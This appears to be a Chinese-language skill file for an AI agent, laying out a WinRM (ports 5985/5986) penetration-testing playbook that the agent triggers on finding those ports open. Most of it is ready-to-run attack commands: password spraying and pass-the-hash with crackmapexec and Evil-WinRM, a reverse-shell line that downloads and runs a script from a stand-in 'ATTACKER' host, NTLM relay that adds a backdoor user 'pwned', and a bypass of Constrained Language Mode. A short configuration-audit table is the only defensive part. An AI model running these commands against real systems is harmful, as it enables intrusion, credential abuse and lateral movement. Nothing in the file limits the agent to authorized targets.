| name | winrm-pentesting |
| description | WinRM 服务(5985/5986 端口)渗透测试方法论。涵盖 WinRM 服务发现、凭据测试(密码/哈希/Kerberos票据)、远程命令执行、Evil-WinRM 使用、横向移动。
当 Agent 扫描发现 5985 或 5986 端口开放、需要测试 WinRM 认证、执行远程命令、或进行 Windows 横向移动时,触发此 Skill。
|
| metadata | {"tags":["winrm","5985端口","5986端口","evil-winrm","powershell远程","windows"],"category":"exploit/network-service"} |
WinRM 渗透测试方法论 (5985/5986)
深入参考
整体决策树
发现 5985/5986 端口开放
├─ Phase 1: 服务发现
│ ├─ 确认 WinRM 可用: Test-WSMan / curl 探测
│ ├─ HTTP (5985) vs HTTPS (5986) -> 影响攻击面
│ └─ 版本与协议信息
├─ Phase 2: 凭据测试
│ ├─ 密码 -> crackmapexec / Evil-WinRM
│ ├─ NTLM 哈希 -> Pass-the-Hash (Evil-WinRM -H)
│ ├─ Kerberos 票据 -> Evil-WinRM -k
│ └─ 证书 -> Evil-WinRM --cert-pem / --key-pem
├─ Phase 3: 远程执行
│ ├─ PowerShell Remoting (Invoke-Command / Enter-PSSession)
│ ├─ Evil-WinRM 交互 shell
│ └─ WSMan.Automation COM 对象 (绕过 CLM)
├─ Phase 4: Evil-WinRM 高级功能
│ ├─ 文件上传/下载
│ ├─ 加载 .NET 程序集 (Invoke-Binary)
│ ├─ 加载 PowerShell 脚本 (-s 参数)
│ └─ Kerberos / 证书认证
├─ Phase 5: 横向移动
│ ├─ NTLM Relay -> WinRM (ntlmrelayx.py -t wsman://)
│ ├─ 从已控主机 PS-Remoting 到其他主机
│ └─ WSMan COM 横向移动 (绕过 CLM)
└─ Phase 6: 已知漏洞
├─ OMIGOD CVE-2021-38647 (Azure OMI unauthenticated RCE)
├─ NTLM Relay to WS-MAN (Impacket 0.11+)
└─ WSMan.Automation COM 滥用
Phase 1: 服务发现
1.1 确认 WinRM 可用
Test-WSMan <target-ip>
nmap -sV -p 5985,5986 <IP>
nxc winrm <IP>
1.2 端口说明
| 端口 | 协议 | 说明 |
|---|
| 5985 | HTTP | WinRM 默认 HTTP 端口 |
| 5986 | HTTPS | WinRM 默认 HTTPS 端口 |
关键判断:
- HTTP (5985) 开放 -> NTLM Relay 攻击面更大
- 仅 HTTPS (5986) -> 需要关注证书认证
Phase 2: 凭据测试
2.1 凭据验证与爆破
crackmapexec winrm <IP> -d <Domain> -u <username> -p <password>
crackmapexec winrm <IP> -d <Domain> -u <username> -H <HASH>
crackmapexec winrm <IP> -d <Domain> -u <username> -p <password> -x "whoami"
crackmapexec winrm <IP> -d <Domain> -u <username> -H <HASH> -X '$PSVersionTable'
crackmapexec winrm <IP> -d <Domain> -u usernames.txt -p passwords.txt
警告: WinRM 爆破可能触发账户锁定策略,谨慎使用。
2.2 凭据测试决策树
凭据类型
├─ 明文密码
│ ├─ crackmapexec winrm <IP> -u <user> -p <pass>
│ └─ evil-winrm -i <IP> -u <user> -p <pass>
├─ NTLM 哈希
│ ├─ crackmapexec winrm <IP> -u <user> -H <hash>
│ └─ evil-winrm -i <IP> -u <user> -H <hash>
├─ Kerberos 票据
│ └─ evil-winrm -i <IP> -u <user> -k --spn HTTP/<IP>
├─ 证书 (AD CS)
│ └─ evil-winrm -i <IP> --cert-pem cert.pem --key-pem key.pem
└─ 无凭据
└─ 爆破 -> crackmapexec winrm <IP> -u users.txt -p pass.txt
Phase 3: 远程执行
3.1 PowerShell Remoting
Invoke-Command -ComputerName <target> -ScriptBlock {ipconfig /all} [-Credential DOMAIN\user]
Invoke-Command -ComputerName <target> -ScriptBlock ${function:enumeration} [-ArgumentList "args"]
Invoke-Command -ComputerName <target> -FilePath C:\path\to\script.ps1
Enter-PSSession -ComputerName <target> [-Credential $creds]
Enter-PSSession -ComputerName <target> -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
3.2 凭据对象构造
$password = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential("DOMAIN\user", $password)
Enter-PSSession -ComputerName <target> -Credential $creds
3.3 反弹 Shell
Invoke-Command -ComputerName <target> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://ATTACKER:8080/shell.ps1')"}
Phase 4: Evil-WinRM 高级功能
4.1 基本连接
evil-winrm -i <IP> -u <username> -p <password>
evil-winrm -i <IP> -u <username> -H <hash>
evil-winrm -i <IP> -u <user> -k --spn HTTP/<IP>
evil-winrm -i <IP> --cert-pem cert.pem --key-pem key.pem
4.2 高级功能
evil-winrm -i <IP> -u <user> -p <pass> -s /path/to/scripts/
evil-winrm -i <IP> -u <user> -p <pass> -e /path/to/binaries/
upload /local/path /remote/path
download C:\remote\path /local/path
evil-winrm -i <IP> -u <user> -p <pass> -L
Phase 5: 横向移动
5.1 NTLM Relay to WinRM
当目标在 HTTP (5985) 上暴露 WinRM 时,可通过 NTLM 中继获取 SYSTEM 级命令执行。
sudo ntlmrelayx.py -t wsman://10.0.0.25 --no-smb-server -smb2support \
--command "net user pwned P@ssw0rd! /add"
5.2 WSMan.Automation COM 横向移动
在 Constrained Language Mode (CLM) 下绕过 PowerShell 限制:
$ws = New-Object -ComObject 'WSMan.Automation'
$session = $ws.CreateSession('http://srv01:5985/wsman',0,$null)
$cmdId = $session.Command('cmd.exe',@('/c','whoami'))
$session.Signal($cmdId,0)
5.3 PS Session 保存与复用
$sess = New-PSSession -ComputerName <target> [-Credential $creds]
Enter-PSSession -Session $sess
Exit-PSSession
Invoke-Command -FilePath C:\path\to\script.ps1 -Session $sess
Phase 6: 已知漏洞
6.1 漏洞检测决策树
WinRM 环境分析
├─ Azure Linux VM (OMI 端口 5985/5986)
│ └─ CVE-2021-38647 (OMIGOD) — OMI < 1.6.8-1 未认证 RCE (root)
│ ├─ 检测: curl http://target:5985/wsman -H 'Content-Type:text/xml'
│ └─ 修复: 升级 OMI >= 1.6.8-1 / 防火墙封锁端口
├─ HTTP (5985) 暴露
│ └─ NTLM Relay 到 WS-MAN
│ ├─ 结合 mitm6 / Responder 捕获 NTLM
│ └─ ntlmrelayx -t wsman://target
├─ Constrained Language Mode 环境
│ └─ WSMan.Automation COM 滥用绕过
└─ 配置审计
├─ EnableCompatibilityHttpListener = true -> Relay 风险
└─ AllowUnencrypted = true -> 凭据明文传输
配置与防御检查
获取访问后检查 WinRM 配置:
winrm get winrm/config
winrm get winrm/config/service
| 配置项 | 风险说明 |
|---|
AllowUnencrypted = true | 凭据明文传输 |
EnableCompatibilityHttpListener = true | 扩大 Relay 攻击面 |
TrustedHosts = * | 允许任意主机连接 |
| 未启用 EPA (Extended Protection) | NTLM Relay 可行 |
替代工具
| 工具 | 用途 |
|---|
| Evil-WinRM | 最常用 WinRM shell (Ruby) |
| pypsrp | Python WinRM/PS-Remoting (支持 CredSSP/Kerberos) |
| SharpWSManWinRM | .NET WSMan COM 横向移动 |
| PS-Docker | docker run -it quickbreach/powershell-ntlm 快速 PS 环境 |
Shodan 搜索
port:5985 Microsoft-HTTPAPI